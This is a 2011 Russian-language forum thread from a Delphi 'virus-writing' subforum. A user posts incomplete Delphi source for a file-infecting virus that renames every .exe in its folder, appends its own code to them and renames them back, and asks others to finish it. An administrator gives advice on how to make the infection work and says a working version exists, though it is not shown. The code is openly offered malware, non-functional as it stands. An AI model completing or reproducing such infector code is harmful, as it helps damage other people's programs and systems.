Суббота, 14.05.2011, 22:37 Приветствую вас Гость | Группа "Гости" 
[ Главная · Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 1 1
Модератор форума: gravitas  
delfcode » Программирование » Delphi Вирусология » Вот минут за 20 состряпал подобие "ВиРуСа"... (Написал очередной вирус, заражение не такое как обычно...)
Вот минут за 20 состряпал подобие "ВиРуСа"...
link993 Дата: Среда, 11.05.2011, 20:45 | Сообщение # 1
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
Помогите исправить ошибки и доработать...
ВИРУС ПОКА НЕ РАБОТАЕТ, ПОЭТОМУ И ОБРАТИЛСЯ К ВАМ ЗА ПОМОЩЬЮ...

АЛГОРИТМ ВИРУСА:
1. (procedure gotomark) Находим все файлы .exe (даже сам вирус) в папке вместе с ним и переименовываем их в формат .txt
2. (Procedure infect) Добавляем код вируса в формате .txt к коду найденных файлов (тут помогите пжл)...
3. (procedure obratno)Меняем расширения фалов обратно в .exe

Люди я заражаю таким способом файлы впервые (пжл помогите довести этот вирус до ума)... sad :( sad :(

Code
program root;

{$APPTYPE CONSOLE}
uses
SysUtils;

var
f, y: string ;
searchResult : TSearchRec;

procedure gotomark;
begin
if FindFirst('*.exe', faAnyFile, searchResult) = 0 then
begin
repeat
f:= (searchResult.Name);
y:= ChangeFileExt(f, '.txt');
RenameFile(f, y);

until FindNext(searchResult) <> 0;
end;
end;

Procedure infect;
const
Fn1 = 'как тут указать найденный файл??' ;
Fn2 = 'root.txt';
var
F1, F2 : TextFile;
S : String;
begin
AssignFile(F1, Fn1);
Append(F1);
AssignFile(F2, Fn2);
Reset(F2);
//Если второй файл не пуст, добавляем перевод на следующую строку в первом файле.
if not Eof(F2) then Writeln(F1);
//Переписываем содержание второго фала в конец первого файла.
while not Eof(F2) do begin
Readln(F2, S);
Writeln(F1, S);
end;
CloseFile(F1);
CloseFile(F2);
end;

procedure obratno;
var
g,d:string;
begin
if FindFirst('*.txt', faAnyFile, searchResult) = 0 then
begin
repeat
g:= (searchResult.Name);
d:= ChangeFileExt(g, '.exe');
RenameFile(g, d);
until FindNext(searchResult) <> 0;
end;
end;
end.


Сообщение отредактировал link993 - Среда, 11.05.2011, 20:48
 
dolphin Дата: Среда, 11.05.2011, 21:21 | Сообщение # 2
Главный
Группа: Администраторы
Сообщений: 673
Статус: Offline
Статус сообщение:
Много дел!
Конечно отредактировать не проблема, но сразу возникает вопрос - Procedure infect добавляет данные в конец файла в этом смысл нет, тк такая структура работать не будет, добавлять нужно в начало. Переименовывать в текстовый не обязательно.




 
link993 Дата: Среда, 11.05.2011, 21:27 | Сообщение # 3
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
dolphin, даже если добавить в начало через .txt зараженный файл работать не будет))) это скорее вредилка такая чем вирус))) Мне сказали надо файл побайтно добавлять чтобы зараженная программа работала))) Можете пжл этот "Вирус" довести до ума, а потом я займусь модификацией))) Заранее спасибо smile :)

Сообщение отредактировал link993 - Среда, 11.05.2011, 21:28
 
link993 Дата: Среда, 11.05.2011, 21:31 | Сообщение # 4
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
Насколько я помню зараженные программы вирусом Zerofil не работают тоже, хотя на его примере можно создать очень мощный вирус...
 
dolphin Дата: Среда, 11.05.2011, 21:38 | Сообщение # 5
Главный
Группа: Администраторы
Сообщений: 673
Статус: Offline
Статус сообщение:
Много дел!
Вирус написаный по вашему принципу.

Доступно только для пользователей








Сообщение отредактировал dolphin - Пятница, 13.05.2011, 21:48
 
link993 Дата: Среда, 11.05.2011, 21:42 | Сообщение # 6
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
dolphin, я у Вас просил исходник вируса, Вы мне тогда его высылали... Спасибо smile Ладно я наверно пойду))) буду ждать пока Вы исправите мой Вирус)))) Заранее спасибо!! Успехов Вам во всем и всего самого наилучшего....

Сообщение отредактировал link993 - Четверг, 12.05.2011, 14:53
 
dolphin Дата: Пятница, Вчера, 21:07 | Сообщение # 7
Главный
Группа: Администраторы
Сообщений: 673
Статус: Offline
Статус сообщение:
Много дел!
У меня почему то переписывает не весь файл, постоянно останавливается на нескольких килобайтах, по моему проблема в Eof(F2), кто подскажет почему?




 
link993 Дата: Пятница, Вчера, 21:25 | Сообщение # 8
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
dolphin, нет по отдельности код пашет, пробовал два текстовых файла склеивать))
 
link993 Дата: Пятница, Вчера, 21:26 | Сообщение # 9
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
dolphin, только что понял, что для работы зерофила надо его упаковать)) Опробовал я только что его))0 Круть
 
dolphin Дата: Пятница, Вчера, 21:50 | Сообщение # 10
Главный
Группа: Администраторы
Сообщений: 673
Статус: Offline
Статус сообщение:
Много дел!
Вот именно
Quote (link993)
два текстовых
склеит запросто а программный не хочет.






 
link993 Дата: Пятница, Вчера, 21:53 | Сообщение # 11
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
Спасибо за это))
 
link993 Дата: Пятница, Вчера, 21:58 | Сообщение # 12
Новичок
Группа: Пользователи
Сообщений: 9
Статус: Offline
Статус сообщение:
Да, записаывает только малую часть)))
 
delfcode » Программирование » Delphi Вирусология » Вот минут за 20 состряпал подобие "ВиРуСа"... (Написал очередной вирус, заражение не такое как обычно...)
Страница 1 из 1 1
Поиск:

© delfcode.ru 2008 - 2011 Хостинг от uCoz